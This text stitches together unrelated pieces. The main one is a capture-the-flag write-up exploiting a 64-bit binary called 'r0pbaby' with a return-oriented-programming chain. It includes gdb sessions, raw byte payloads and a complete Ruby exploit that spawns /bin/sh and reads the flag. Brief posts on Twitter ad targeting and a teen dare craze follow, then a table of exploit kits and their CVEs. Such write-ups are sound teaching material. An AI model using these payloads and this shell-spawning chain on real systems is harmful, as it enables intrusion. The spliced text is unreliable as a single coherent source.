All right, it crashes at 0x0000555555554eb3. Let's take a look at what lives at the current instruction (pro-tip: "x/i $rip" or equivalent is basically always the first thing I run on any crash I'm investigating):

(gdb) x/i $rip
=> 0x555555554eb3:      ret

It's crashing while attempting to return! That generally only happens when either the stack pointer is messed up...

(gdb) print/x $rsp
$1 = 0x7fffffffd918

...which it doesn't appear to be, or when it's trying to return to a bad address...

(gdb) x/xg $rsp
0x7fffffffd918: 0x4242424242424242

...which it is! It's trying to return to 0x4242424242424242 ("BBBBBBBB"), which is an illegal address (the first two bytes have to be zero on a 64-bit system).

We can confirm this, and also prove to ourselves that NUL bytes are allowed in the input, by sending a couple of NUL bytes. I'm switching to using 'echo' on the commandline now, so I can easily add NUL bytes (keep in mind that because of little endian, the NUL bytes have to go after the "B"s, not before):

$ ulimit -c unlimited
$ echo -ne '3\n32\nAAAAAAAABBBBBB\0\0CCCCCCCCDDDDDDDD\n' | ./r0pbaby
[...]
Segmentation fault (core dumped)
$ gdb ./r0pbaby ./core
[...]
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000424242424242 in ?? ()

Now we can see that rip was successfully set to 0x0000424242424242 ("BBBBBB\0\0" because of little endian)!

How's the stack work again?

As I said at the start, reading my post about ropasaurusrex would be a good way to get acquainted with ROP exploits. If you're pretty comfortable with stacks or you've recently read/understood that post, feel free to skip this section!

Let's start by talking about 32-bit systems - where parameters are passed on the stack instead of in registers. I'll explain how to deal with register parameters in 64-bit below.

Okay, so: a program's stack is a run-time structure that holds temporary values that functions need. Things like the parameters, the local variables, the return address, and other stuff. When a function is called, it allocates itself some space on the stack by growing downward (towards lower memory addresses) When the function returns, the data's all removed from the stack (it's not actually wiped from memory, it just becomes free to get overwritten). The register rsp always points to the most recent thing pushed to the stack and the next thing that would be popped off the stack.

Let's use sleep() as an example again. You call sleep() like this:

1: push 1000
2: call sleep

or like this:

1. mov [esp], 1000
2: call sleep

They're identical, as far as sleep() is concerned. The first is a tiny bit more memory efficient and the second is a tiny bit faster, but that's about it.

Before line 1, we don't know or care what's on the stack. We can look at it like this (I'm choosing completely arbitrary addresses so you can match up diagrams with each other):

       +----------------------+
       |...higher addresses...|
       +----------------------+
0x1040 |     (irrelevant)     |
       +----------------------+
0x103c |     (irrelevant)     |
       +----------------------+
0x1038 |     (irrelevant)     | <-- rsp
       +----------------------+
0x1034 |       (unused)       |
       +----------------------+
0x1030 |       (unused)       |
       +----------------------+
       |...lower addresses....|
       +----------------------+

Values lower than rsp are unused. That means that as far as the stack's concerned, they're unallocated. They might be zero, or they might contain values from previous function calls. In a properly working system, they're never read. If they're accidentally used (like if somebody declares a variable but forgets to initialize it), you could wind up with a use-after-free vulnerability or similar.

The value that rsp is pointing to and the values above it (at higher addresses) also don't really matter. They're part of the stack frame for the function that's calling sleep(), and sleep() doesn't care about those. It only cares about its own stack frame (a stack frame, as we'll see, is the parameters, return address, saved registers, and local variables of a function - basically, everything the function stores on the stack and everything it cares about on the stack).

Line 1 pushes 1000 onto the stack. The frame will then look like this:

       +----------------------+
       |...higher addresses...|
       +----------------------+
0x103c |     (irrelevant)     |
       +----------------------+
0x1038 |     (irrelevant)     | <-- stuff from the previous function
       +----------------------+
       +----------------------+ <-- start of sleep()'s stack frame
0x1034 |         1000         | <-- rsp
       +----------------------+
0x1030 |       (unused)       |
       +----------------------+
       |...lower addresses....|
       +----------------------+

When you call the function at line 2, it pushes the return address onto the stack, like this:

       +----------------------+
       |...higher addresses...|
       +----------------------+
0x1038 |     (irrelevant)     |
       +----------------------+
       +----------------------+ <-- start of sleep()'s stack frame
0x1034 |         1000         |
       +----------------------+
0x1030 |     [return addr]    | <-- rsp
       +----------------------+
0x102c |       (unused)       |
       +----------------------+
0x1028 |       (unused)       |
       +----------------------+
0x1024 |       (unused)       |
       +----------------------+
       |...lower addresses....|
       +----------------------+

Note how rsp has moved from 0x1038 to 0x1034 to 0x1030 as stuff is added to the stack. But it always points to the last thing added!

Let's look at how sleep() might be implemented. This is a very common function prelude:

100; sleep():
101: push rbp
102: mov rbp, rsp
103: sub rsp, 0x20
104: ...everything else...

(Note that those are line numbers for reference, not actual addresses, so please don't get upset that the values don't increment enough :) )

At line 100, the old frame pointer is saved to the stack:

       +----------------------+
       |...higher addresses...|
       +----------------------+
0x1038 |     (irrelevant)     |
       +----------------------+
       +----------------------+ <-- start of sleep()'s stack frame
0x1034 |         1000         |
       +----------------------+
0x1030 |     [return addr]    |
       +----------------------+
0x102c |     [saved frame]    | <-- rsp
       +----------------------+
0x1028 |       (unused)       |
       +----------------------+
0x1024 |       (unused)       |
       +----------------------+
0x1020 |       (unused)       |
       +----------------------+
       |...lower addresses....|
       +----------------------+

Then at line 102, nothing on the stack changes. On line 103, 0x20 is subtracted from esp, which effectively reserves 0x20 (32) bytes for local variables:

       +----------------------+
       |...higher addresses...|
       +----------------------+
0x1038 |     (irrelevant)     |
       +----------------------+
       +----------------------+ <-- start of sleep()'s stack frame
0x1034 |         1000         |
       +----------------------+
0x1030 |     [return addr]    |
       +----------------------+
0x102c |     [saved frame]    |
       +----------------------+
       |                      |
0x1028 |                      |
   -   |     [local vars]     | <-- rsp
0x1008 |                      |
       |                      |
       +----------------------+ <-- end of sleep()'s stack frame
       +----------------------+
0x1004 |       (unused)       |
       +----------------------+
0x1000 |       (unused)       |
       +----------------------+
       |...lower addresses....|
       +----------------------+

And that's the entire stack frame for the sleep(0 function call! It's possible that there are other registers preserved on the stack, in addition to rbp, but that doesn't really change anything. We only care about the parameters and the return address.

If sleep() calls a function, the same process will happen:

       +----------------------+
       |...higher addresses...|
       +----------------------+
0x1038 |     (irrelevant)     |
       +----------------------+
       +----------------------+ <-- start of sleep()'s stack frame
0x1034 |         1000         |
       +----------------------+
0x1030 |     [return addr]    |
       +----------------------+
0x102c |     [saved frame]    |
       +----------------------+
       |                      |
0x1028 |                      |
   -   |     [local vars]     |
0x1008 |                      |
       |                      |
       +----------------------+ <-- end of sleep()'s stack frame
       +----------------------+ <-- start of next function's stack frame
0x1004 |       [params]       |
       +----------------------+
0x1000 |     [return addr]    |
       +----------------------+
0x0ffc |     [saved frame]    |
       +----------------------+
       |                      |
0x0ffc |                      |
   -   |     [local vars]     |
0x0fb4 |                      |
       |                      |
       +----------------------+ <-- end of next function's stack frame
       +----------------------+
0x0fb0 |       (unused)       |
       +----------------------+
0x0fac |       (unused)       |
       +----------------------+
       |...lower addresses....|
       +----------------------+

And so on, with the stack constantly growing towards lower addresses. When the function returns, the same thing happens in reverse order (the local vars are removed from the stack by adding to rsp (or replacing it with rbp), rbp is popped off the stack, and the return address is popped and returned to).

The parameters are cleared off the stack by either the caller or callee, depending on the compiler, but that won't come into play for this writeup. However, when ROP is used to call multiple functions, unless the function clean up their own parameters off the stack, the exploit developer has to do it themselves. Typically, on Windows functions clean up after themselves but on other OSes they don't (but you can't rely on that). This is done by using a "pop ret", "pop pop ret", etc., after each function call. See my ropasaurusrex writeup for more details.

Enter: 64-bit

The fact that this level is 64-bit complicates things in important ways (and ways that I always seem to forget about till things don't work).

Specifically, in 64-bit, the first handful of parameters to a function are passed in registers, not on the stack. I don't have the order of registers memorized - I forget it after every CTF, along with whether ja/jb or jl/jg are the unsigned ones - but the first two are rdi and rsi. That means that to call the same sleep() function on 64-bit, we'd have this code instead:

1: mov rdi, 1000
2: call sleep

And its stack frame would look like this:

       +----------------------+
       |...higher addresses...|
       +----------------------+ <-- start of previous function's stack frame
       +----------------------+ <-- start of sleep()'s stack frame
0x1030 |     [return addr]    |
       +----------------------+
0x102c |     [saved frame]    |
       +----------------------+
       |                      |
0x1028 |                      |
   -   |     [local vars]     |
0x1008 |                      |
       |                      |
       +----------------------+ <-- end of sleep()'s stack frame
       +----------------------+
       |...lower addresses....|
       +----------------------+

No parameters, just the return address, saved frame pointer, and local variables. It's exceedingly rare for the stack to be used for parameters on 64-bit.

Stacks: the important bit

Okay, so that's a stack frame. A stack frame contains parameters, return address, saved registers, and local variables. On 64-bit, it usually contains the return address, saved registers, and local variables (no parameters).

But here's the thing: when you enter a function - that is to say, when you start running the first line of the function - the function doesn't really know where you came from. I mean, not really. It knows the return address that's on the stack, but doesn't really have a way to validate that it's real (except with advanced exploitation mitigations). It also knows that there are some parameters right before (at higher addresses than) the return address, if it's 32-bit. Or that rdi/rsi/etc. contain parameters if it's 64-bit.

So let's say you overwrote the return address on the stack and returned to the first line of sleep(). What's it going to do?

As we saw, on 64-bit, sleep() expects its stack frame to contain a return address:

+----------------------+
|...higher addresses...|
+----------------------+
+----------------------+ <-- start of sleep()'s stack frame
|     [return addr]    | <-- rsp
+----------------------+
|     (unallocated)    |
+----------------------+
|...lower addressess...|
+----------------------+

sleep() will push some registers, make room for local variables, and really just do its own thing. When it's all done, it'll grab the return address from the stack, return to it, and somebody will move rsp back to the calling function's stack frame (it, getting rid of the parameters from the stack).

Using system()

Because this level uses stdout and stdin for i/o, all we really have to do is make this call:

system("/bin/sh")

Then we can run arbitrary commands. Seems pretty simple, eh? We don't even care where system() returns to, once it's done the program can just crash!

You just have to do two things:

  1. set rip to the address of system()
  2. set rdi to a pointer to the string "/bin/sh" (or just "sh" if you prefer)

Setting rip to the address of system() is easy. We have the address of system() and we have rip control, as we discovered. It's just a matter of grabbing the address of system() and using that in the overflow.

Setting rdi to the pointer to "/bin/sh" is a little more problematic, though. First, we need to find the address of "/bin/sh" somehow. Then we need a "gadget" to put it in rdi. A "gadget", in ROP, refers to a small piece of code that performs an operation then returns.

It turns out, all of the above can be easily done by using a copy of libc.so. Remember how I told you it'd come in handy?

Finding "/bin/sh"

So, this is actually pretty easy. We need to find "/bin/sh" given a) the ability to leak an address in libc.so (which this program does by design), and b) a copy of libc.so. Even with ASLR turned on, any two addresses within the same binary (like within libc.so or within the binary itself) won't change their relative positions to each other. Addresses in two different binaries will likely be different, though.

If you fire up IDA, and go to the "strings" tab (shift-F12), you can search for "/bin/sh". You'll see that "/bin/sh" will have an address something like 0x7ffff6aa307c.

Alternatively, you can use this gdb command (helpfully supplied by bla from io.sts):

(gdb) find /b 0x7ffff7842000,0x7ffff7bd4000, '/','b','i','n','/','s','h'
0x7ffff79a307c
warning: Unable to access 16000 bytes of target memory at 0x7ffff79d5d03, halting search.
1 pattern found.
(gdb) x/s 0x7ffff79a307c
0x7ffff79a307c: "/bin/sh"

Once you've obtained the address of "/bin/sh", find the address of any libc function - we'll use system(), since system() will come in handy later. The address will be something like 0x00007ffff6983960. If you subtract the two addresses, you'll discover that the address of "/bin/sh" is 0x11f71c bytes after the address of system(). As I said earlier, that won't change, so we can reliably use that in our exploit.

Now when you run the program:

$ ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7883960

You can easily calculate that the address of the string "/bin/sh" will be at 0x00007ffff7883960 + 0x11f71c = 0x7ffff79a307c.

Getting "/bin/sh" into rdi

The next thing you'll want to do is put "/bin/sh" into rdi. We can do that in two steps (recall that we have control of the stack - it's the point of the level):

  1. Put it on the stack
  2. Find a "pop rdi" gadget

To do this, I literally searched for "pop rdi" in IDA. With the spaces and everything! :)

I found this in both my own copy of libc and the one I stole from babycmd:

.text:00007FFFF80E1DF1                 pop     rax
.text:00007FFFF80E1DF2                 pop     rdi
.text:00007FFFF80E1DF3                 call    rax

What a beautiful sequence! It pops the next value of the stack into rax, pops the next value into rdi, and calls rax. So it calls an address from the stack with a parameter read from the stack. It's such a lovely gadget! I was surprised and excited to find it, though I'm sure every other CTF team already knew about it. :)

The absolute address that IDA gives us is 0x00007ffff80e1df1, but just like the "/bin/sh" string, the address relative to the rest of the binary never changes. If you subtract the address of system() from that address, you'll get 0xa7969 (on my copy of libc).

Let's look at an example of what's actually going on when we call that gadget. You're at the end of main() and getting ready to return. rsp is pointing to what it thinks is the return address, but is really "BBBBBBBB"-now-gadget_addr:

+----------------------+
|...higher addresses...|
+----------------------+
|       DDDDDDDD       |
+----------------------+
|       CCCCCCCC       |
+----------------------+
|  0x00007ffff80e1df1  | <-- rsp
+----------------------+
|       AAAAAAAA       |
+----------------------+
|...lower addresses....|
+----------------------+

When the return happens, it looks like this:

+----------------------+
|...higher addresses...|
+----------------------+
|       DDDDDDDD       |
+----------------------+
|       CCCCCCCC       | <-- rsp
+----------------------+
|  0x00007FFFF80E1DF1  |
+----------------------+
|       AAAAAAAA       |
+----------------------+
|...lower addresses....|
+----------------------+

The first instruction - pop rax - runs. rax is now 0x4343434343434343 ("CCCCCCCC").

The second instruction - pop rdi - runs. rdi is now 0x4444444444444444 ("DDDDDDDD").

Then the final instruction - call rax - is called. It'll attempt to call 0x4343434343434343, with 0x4444444444444444 as its parameter, and crash. Controlling both the called address and the parameter is a huge win!

Putting it all together

I realize this is a lot to take in if you can't read stacks backwards and forwards (trust me, I frequently read stacks backwards - in fact, I wrote this entire blog post with upside-down stacks before I noticed and had to go back and fix it! :) ).

Here's what we have:

  • The ability to write up to 1024 bytes onto the stack
  • The ability to get the address of system()
  • The ability to get the address of "/bin/sh", based on the address of system()
  • The ability to get the address of a sexy gadget, also based on system(), that'll call something from the stack with a parameter from the stack

We're overflowing a local variable in main(). Immediately before our overflow, this is what main()'s stack frame probably looks like:

+----------------------+
|...higher addresses...|
+----------------------+ <-- start of main()'s stack frame
|         argv         |
+----------------------+
|         argc         |
+----------------------+
|     [return addr]    | <-- return address of main()
+----------------------+
|     [saved frame]    | <-- overflowable variable must start here
+----------------------+
|                      |
|                      |
|     [local vars]     | <-- rsp
|                      |
|                      |
+----------------------+ <-- end of main()'s stack frame
|...lower addresses....|
+----------------------+

Because you only get 8 bytes before you hit the return address, the first 8 bytes are probably overwriting the saved frame pointer (or whatever, it doesn't really matter, but you can prove it's the frame pointer by using a debugger and verifying that rbp is 0x4141414141414141 after it returns (it is)).

The main thing is, as we saw earlier, if you send the string "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD", the "BBBBBBBB" winds up as main()'s return address. That means the stack winds up looking like this before main() starts cleaning up its stack frame:

+----------------------+
|...higher addresses...|
+----------------------+ <-- WAS the start of main()'s stack frame
|       DDDDDDDD       |
+----------------------+
|       CCCCCCCC       |
+----------------------+
|       BBBBBBBB       | <-- return address of main()
+----------------------+
|       AAAAAAAA       | <-- overflowable variable must start here
+----------------------+
|                      |
|                      |
|     [local vars]     |
|                      |
|                      | <-- rsp
+----------------------+ <-- end of main()'s stack frame
|...lower addresses....|
+----------------------+

When main attempts to return, it tries to return to 0x4242424242424242 as we saw earlier, and it crashes.

Now, one thing we can do is return directly to system(). But your guess is as good as mine as to what's in rdi, but you can bet it's not going to be "/bin/sh". So instead, we return to our gadget:

+----------------------+
|...higher addresses...|
+----------------------+ <-- start of main()'s stack frame
|       DDDDDDDD       |
+----------------------+
|       CCCCCCCC       |
+----------------------+
|     gadget_addr      | <-- return address of main()
+----------------------+
|       AAAAAAAA       | <-- overflowable variable must start here
+----------------------+
|                      |
|                      |
|     [local vars]     |
|                      |
|                      | <-- rsp
+----------------------+ <-- end of main()'s stack frame
|...lower addresses....|
+----------------------+

Since I have ASLR off on my computer (if you do turn it off, please make sure you turn it back on!), I can pre-compute the addresses I need.

Symbol system: 0x00007FFFF7883960 (from the program)

sh_addr = system_addr + 0x11f71c
sh_addr = 0x00007ffff7883960 + 0x11f71c
sh_addr = 0x7ffff79a307c

gadget_addr = system_addr + 0xa7969
gadget_addr = 0x00007ffff7883960 + 0xa7969
gadget_addr = 0x7ffff792b2c9

So now, let's change the exploit we used to crash it a long time ago (we replace the "B"s with the address of our gadget, in little endian format:

$ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00CCCCCCCCDDDDDDDD\n' | ./r0pbaby
Welcome to an easy Return Oriented Programming challenge...
[...]
Menu:
Segmentation fault (core dumped)

Great! It crashed as expected! Let's take a look at HOW it crashed:

$ gdb -q ./r0pbaby ./core
Core was generated by `./r0pbaby'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00007ffff792b2cb in clone () from /lib64/libc.so.6
(gdb) x/i $rip
=> 0x7ffff792b2cb :  call   rax

It crashed on the call at the end of the gadget, which makes sense! Let's check out what it's trying to call and what it's using as a parameter:

(gdb) print/x $rax
$1 = 0x4343434343434343
(gdb) print/x $rdi
$2 = 0x4444444444444444

It's trying to call "CCCCCCCC" with the parameter "DDDDDDDD". Awesome! Let's try it again, but this time we'll plug in our sh_address in place of "DDDDDDDD" to make sure that's working (I strongly believe in incremental testing :) ):

$ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00CCCCCCCC\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby
[...]
Segmentation fault (core dumped)
$ gdb -q ./r0pbaby ./core
[...]
(gdb) x/i $rip
=> 0x7ffff792b2cb :  call   rax

It's still crashing in the same place! We don't have to check rax, we know it'll be 0x4343434343434343 ("CCCCCCCC") again. But let's check out if rdi is right:

(gdb) print/x $rdi
$2 = 0x7ffff79a307c
(gdb) x/s $rdi
0x7ffff79a307c: "/bin/sh"

All right, the parameter is set properly!

One last step: Replace the return address ("CCCCCCCC") with the address of system 0x00007ffff7883960:

$ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00\x60\x39\x88\xf7\xff\x7f\x00\x00\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby

Unfortunately, you can't return into system(). I couldn't figure out why, but on Twitter Jan Kadijk said that it's likely because system() ends when it sees the end of file (EOF) marker, which makes perfect sense.

So in the interest of proving that this actually returns to a function, we'll call printf (0x00007FFFF7892F10) instead:

$ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00\x10\x2f\x89\xf7\xff\x7f\x00\x00\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Enter bytes to send (max 1024): 1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
/bin/sh

It prints out its first parameter - "/bin/sh" - proving that printf() was called and therefore the return chain works!

The exploit

Here's the full exploit in Ruby. If you want to run this against your own system, you'll have to calculate the offset of the "/bin/sh" string and the handy-dandy gadget first! Just find them in IDA or objdump or whatever and subtract the address of system() from them.

#!/usr/bin/ruby

require 'socket'

SH_OFFSET_REAL = 0x13669b
SH_OFFSET_MINE = 0x11f71c

GADGET_OFFSET_REAL = 0xb3e39
GADGET_OFFSET_MINE = 0xa7969

#HOST = "localhost"
HOST = "r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me"

PORT = 10436

s = TCPSocket.new(HOST, PORT)

# Receive until the string matches the regex, then delete everything
# up to the regex
def recv_until(s, regex)
  buffer = ""

  loop do
    buffer += s.recv(1024)
    if(buffer =~ /#{regex}/m)
      return buffer.gsub(/.*#{regex}/m, '')
    end
  end
end

# Get the address of "system"
puts("Getting the address of system()...")
s.write("2\n")
s.write("system\n")
system_addr = recv_until(s, "Symbol system: ").to_i(16)
puts("system() is at 0x%08x" % system_addr)

# Build the ROP chain
puts("Building the ROP chain...")
payload = "AAAAAAAA" +
  [system_addr + GADGET_OFFSET_REAL].pack("<Q") + # address of the gadget
  [system_addr].pack("<Q") +                      # address of system
  [system_addr + SH_OFFSET_REAL].pack("<Q") +     # address of "/bin/sh"
  ""

# Write the ROP chain
puts("Sending the ROP chain...")
s.write("3\n")
s.write("#{payload.length}\n")
s.write(payload)

# Tell the program to exit
puts("Exiting the program...")
s.write("4\n")

# Give sh some time to start
puts("Pausing...")
sleep(1)

# Write the command we want to run
puts("Attempting to read the flag!")
s.write("cat /home/r0pbaby/flag\n")

# Receive forever
loop do
  x = s.recv(1024)

  if(x.nil? || x == "")
    puts("Done!")
    exit
  end
  puts(x)
end

[update] Or... do it the easy way

After I posted this, I got a tweet from @gaasedelen informing me that libc has a "magic" address that will literally call exec() with "/bin/sh", making much of this unnecessary for this particular level. You can find it by seeing where the "/bin/sh" string is referenced. You can return to that address and a shell pops.

But it's still a good idea to know how to construct a ROP chain, even if it's not strictly necessary. :)

Conclusion

And that's how to perform a ROP attack against a 64-bit binary! I'd love to hear feedback!

Your favorite breakfast cereal and other things Twitter knows about you

At Re:publica 2015, our Chief Research Officer Mikko Hypponen told the main stage crowd that the world’s top scientists are now focused on the delivery of ads. “I think this is sad,” he said.

To give the audience a sense of how much Twitter knows about its users, he showed them the remarkable targeting the microblogging service offers its advertisers. If you use the site, you may be served promoted tweets based on the following:

1. What breakfast cereal you eat.

2. The alcohol you drink.

3. Your income.

4. If you suffer from allergies.

5. If you’re expecting a child.

And that’s just the beginning. You can be targeted based not only on your recent device purchases but things you may be in the market for, like a new house or a new car. You can see all the targeting offered by logging into your Twitter, going to the top right corner of the interface, clicking on your icon and selecting “Twitter Ads”.

Can Twitter learn all this just based on your tweets and which accounts follow?

No, Mikko said. “They buy this information from real world shops, from credit card companies, and from frequent buyer clubs.”

Twitter then connects this information to you based on… your phone number. And you’ve agreed to have this happen to you because you read and memorized the nearly 7,000 words in its Terms and Conditions. Because everyone reads the terms and conditions.

Full disclosure: We do occasionally promote tweets on Twitter to promote or digital freedom message and tools like Freedome that block ad trackers. It’s an effective tool and we find the irony rich.

Part of our mission is to make it clear that there’s no such thing as “free” on the internet. If you aren’t paying a price, you are the product. Aral Balkan compares social networks to a creepy uncle” that pays the bills by listening to as many of your conversations as they can then selling what they’ve heard to its actual customers.

And with the world’s top minds dedicated to monetizing your attention, we just think you should be as aware of advertisers as they are as of you. Most of the top URLs in the world are actually trackers that you never access directly. To get a sense of what advertisers learn every time you click check out our new Privacy Checker.

Cheers,

Jason

Game of 72 Myth or Reality?

I can’t pretend that, in the mid 90s, I didn't pester my mum for a pair Adidas poppers joggers. Or that I didn't, against my better judgement, strut around in platform sneakers in an attempt to fit in with the in crowd. But emulating popular fashion was as far as I got. I don’t remember ever doing stupid or dangerous dares to impress my classmates. Initially, I thought, maybe I was just a good kid, but a quick straw poll around Smoothwall Towers, showed that my colleagues don’t recall hurting themselves or anyone else for a dare either. The closest example of a prank we could come up with between us was knock and run and egg and flour - hardly show stopping news.
But now, teenagers seem to be taking daring games to a whole new level through social media, challenging each other to do weird and even dangerous things. Like the #cinnamonchallenge on Twitter (where you dare someone to swallow a mouthful of cinnamon powder in 60 seconds without water). A quick visual check for the hashtag shows it’s still a thing today, despite initially going viral in 2013, and doctors having warned teens about the serious health implications. Now, apparently there’s another craze doing the rounds. #Gameof72 dares teens to go missing for 72 hours without contacting their parents. The first suspected case was reported in a local French newspaper in April, when a French student disappeared for three days and later told police she had been doing Game of 72. Then, in a separate incident, on 7 May, two schoolgirls from Essex went missing for a weekend in a suspected Game of 72 disappearance. Police later issued a statement to say the girls hadn't been playing the game. So why then, despite small incident numbers, and the absence of any actual evidence that Game of 72 is real, are parents and the authorities so panicked? Tricia Bailey from the Missing Children’s Society warned kids of the “immense and terrifying challenges they will face away from home.” And Stephen Fields, a communications coordinator at Windsor-Essex Catholic District School Board said, “it’s not cool”, and has warned students who participate that they could face suspension. It’s completely feasible that Game of 72 is actually a myth, created by a school kid with the intention of worrying the adults. And it’s worked; social media has made it seem even worse, when in reality, it’s probably not going to become an issue. I guess the truth is, we’ll probably never know, unless a savvy web filtering company finds a way of making these twitter-mobile games trackable at school, where peer pressure is often at its worst. Wait a minute...we already do that. Smoothwall allows school admins to block specific words and phrases including, Twitter hashtags. Say for instance that students were discussing Game of 72, or any other challenge, by tweet, and that phrase had been added to the list of banned words or phrases; the school’s administrator would be alerted, and their parents could be notified. Sure it won’t stop kids getting involved in online challenges, because they could take it to direct message and we’d lose the conversation. But, I think you’ll probably agree, the ability to track what students are saying in tweets is definitely a step in the right direction.

An Overview of Exploit Packs (Update 25) May 2015


Update May 12, 2015

Added CVE-2015-0359 and updates for CVE-2015-0336


Reference table : Exploit References 2014-2015


Update March 20, 2015

Added CVE-2015-0336

------------------------
Update February 19, 2015

Added Hanjuan Exploit kit and CVE-2015-3013 for Angler 

Update January 24, 2015 
http://www.kahusecurity.com

Added CVE-2015-3010, CVE-2015-3011 for Agler and a few reference articles. 
If you notice any errors, or some CVE that need to be removed (were retired by the pack authors), please let me know. Thank you very much!


Update December 12, 2014


Update Jan 8, 2014

 This is version 20 of the exploit pack table - see the added exploit packs and vulnerabilities listed below.

                                             Exploit Pack Table Update 20                                           
  Click to view or download from Google Apps

I want to give special thanks to Kafeine  L0NGC47,  Fibon and  Curt Shaffer for their help and update they made.  Note the new Yara rules sheet / tab for yara rules for exploit kit.
I also want to thank Kahu securityKafeineMalforsec and all security companies listed in References for their research.

If you wish to be a contributor (be able to update/change the exploits or add yara rules), please contact me :)
If you have additions or corrections, please email, leave post comments, or tweet (@snowfl0w) < thank you!

The Wild Wild West image was created by Kahu Security  - It shows current and retired (retiring) kits.

List of changed kits
Gong Da / GonDad Redkit 2.2 x2o (Redkit Light)Fiesta (=Neosploit)  Cool  Styxy DotkaChef
CVE-2011-3544CVE-2013-2551CVE-2013-2465CVE-2010-0188CVE-2010-0188CVE-2012-5692
CVE-2012-0507CVE-2013-2471CVE-2013-0074/3896CVE-2011-3402CVE-2013-1493
CVE-2012-1723CVE-2013-1493CVE-2013-0431
CVE-2013-0431
CVE-2013-2423
CVE-2012-1889CVE-2013-2460CVE-2013-0634 CVE-2013-1493
CVE-2012-4681CVE-2013-2551 CVE-2013-2423
CVE-2012-5076
CVE-2013-0422
CVE-2013-0634
CVE-2013-2465



Angler FlashPack = SafePack White Lotus Magnitude (Popads)Nuclear 3.x Sweet Orange 
CVE-2013-0074/3896CVE-2013-0074/3896CVE-2011-3544CVE-2011-3402CVE-2010-0188CVE-2013-2423
CVE-2013-0634CVE-2013-2551CVE-2013-2465CVE-2012-0507CVE-2012-1723CVE-2013-2471
CVE-2013-2551 CVE-2013-2551CVE-2013-0634CVE-2013-0422CVE-2013-2551
CVE-2013-5329CVE-2013-2460CVE-2013-2423
CVE-2013-2471 ??CVE-2013-2471CVE-2013-2460
CVE-2013-2551CVE-2013-2551

CK HiManNeutrino  Blackhole (last)Grandsoft  Private EK
CVE-2011-3544CVE-2010-0188CVE-2013-0431CVE-2013-0422CVE-2010-0188 CVE-2006-0003
CVE-2012-1889CVE-2011-3544CVE-2013-2460CVE-2013-2460CVE-2011-3544CVE-2010-0188
CVE-2012-4681CVE-2013-0634CVE-2013-2463*CVE-2013-2471CVE-2013-0422CVE-2011-3544
CVE-2012-4792*CVE-2013-2465CVE-2013-2465*and + all or someCVE-2013-2423CVE-2013-1347
CVE-2013-0422CVE-2013-2551CVE-2013-2551exploitsCVE-2013-2463CVE-2013-1493
CVE-2013-0634* switch 2463*<>2465*from the previousCVE-2013-2423
CVE-2013-3897Possibly + exploitsversionCVE-2013-2460
* removedfrom the previous
version

Sakura 1.x LightsOutGlazunov Rawin Flimkit  Cool EK (Kore-sh)Kore (formely Sibhost) 
cve-2013-2471CVE-2012-1723CVE-2013-2463CVE-2012-0507CVE-2012-1723CVE-2013-2460CVE-2013-2423
CVE-2013-2460CVE-2013-1347cve-2013-2471CVE-2013-1493CVE-2013-2423CVE-2013-2463CVE-2013-2460
and + all or someCVE-2013-1690CVE-2013-2423CVE-2013-2471CVE-2013-2463
exploitsCVE-2013-2465CVE-2013-2471
from the previous
version


Styx 4.0Cool Topic EK Nice EK
CVE-2010-0188CVE-2012-0755CVE-2013-2423CVE-2012-1723
CVE-2011-3402CVE-2012-1876
CVE-2012-1723CVE-2013-0634
CVE-2013-0422CVE-2013-2465
CVE-2013-1493cve-2013-2471
CVE-2013-2423and + all or some
CVE-2013-2460exploits
CVE-2013-2463from the previous
CVE-2013-2472version
CVE-2013-2551
Social Eng








=================================================================

The Explot Pack Table has been updated and you can view it here.

Exploit Pack Table Update 19.1  - View or Download from Google Apps

If you keep track of exploit packs and can/wish  to contribute and be able to make changes, please contact me (see email in my profile)
I want to thank L0NGC47, Fibon, and Kafeine,  Francois Paget, Eric Romang, and other researchers who sent information for their help.




Update April 28, 2013 - added CVE-2013-2423 (Released April 17, 2013) to several packs. 
Now the following packs serve the latest Java exploit (update your Java!)

  1. Styx
  2. Sweet Orange
  3. Neutrino
  4. Sakura
  5. Whitehole
  6. Cool
  7. Safe Pack
  8. Crime Boss
  9. CritX



Other changes
Updated:
  1. Whitehole
  2. Redkit
  3. Nuclear
  4. Sakura
  5. Cool Pack
  6. Blackhole
  7. Gong Da
Added:
  1. KaiXin
  2. Sibhost
  3. Popads 
  4. Alpha Pack
  5. Safe Pack
  6. Serenity
  7. SPL Pack

    There are 5 tabs in the bottom of the sheet
  1. 2011-2013
  2. References
  3. 2011 and older
  4. List of exploit kits
  5. V. 16 with older credits



March 2013
The Explot Pack Table, which has been just updated, has migrated to Google Apps - the link is below. The new format will allow easier viewing and access for those who volunteered their time to keep it up to date.

In particular, I want to thank
L0NGC47, Fibon, and Kafeine  for their help.

There are 5 tabs in the bottom of the sheet
  1. 2011-2013
  2. References
  3. 2011 and older
  4. List of exploit kits
  5. V. 16 with older credits
The updates include
  1. Neutrino  - new
  2. Cool Pack - update
  3. Sweet Orange - update
  4. SofosFO aka Stamp EK - new
  5. Styx 2.0 - new
  6. Impact - new
  7. CritXPack - new
  8. Gong Da  - update
  9. Redkit - update
  10. Whitehole - new
  11. Red Dot  - new





The long overdue Exploit pack table Update 17 is finally here. It got a colorful facelift and has newer packs (Dec. 2011-today) on a separate sheet for easier reading.
Updates / new entries for the following 13 packs have been added (see exploit listing below)


